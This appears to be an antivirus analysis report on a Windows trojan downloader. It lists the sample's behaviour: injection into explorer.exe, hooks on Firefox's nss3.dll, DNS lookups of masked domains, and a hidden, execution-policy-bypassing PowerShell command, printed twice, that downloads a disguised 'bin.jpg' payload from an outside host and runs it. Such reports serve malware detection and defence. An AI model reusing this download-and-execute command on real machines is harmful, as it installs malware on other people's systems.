Technical Information
Malicious functions
Downloads and executes
- http://cr##trt.com/i7/bin.jpg as %temp+%\taske.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://cr##trt.com/i7/bin.jpg',$env:Temp+'\taske.exe');(New-Object -com Shell.Applic...
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
Hooks functions
in browsers
- firefox.exe process, nss3.dll module
Modifies file system
Creates the following files
- %TEMP%\taske.exe
Deletes the following files
- %TEMP%\taske.exe
Network activity
TCP
HTTP GET requests
- http://cr##trt.com/i7/bin.jpg
UDP
- DNS ASK cr##trt.com
- DNS ASK ai##m.info
- DNS ASK ky###ebird.com
- DNS ASK 0l###otake.men
Miscellaneous
Creates and executes the following
- '%TEMP%\taske.exe'
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://cr##trt.com/i7/bin.jpg',$env:Temp+'\taske.exe');(New-Object -com Shell.Applic...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\napstat.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%TEMP%\taske.exe"
- '%ProgramFiles(x86)%\mozilla firefox\firefox.exe'
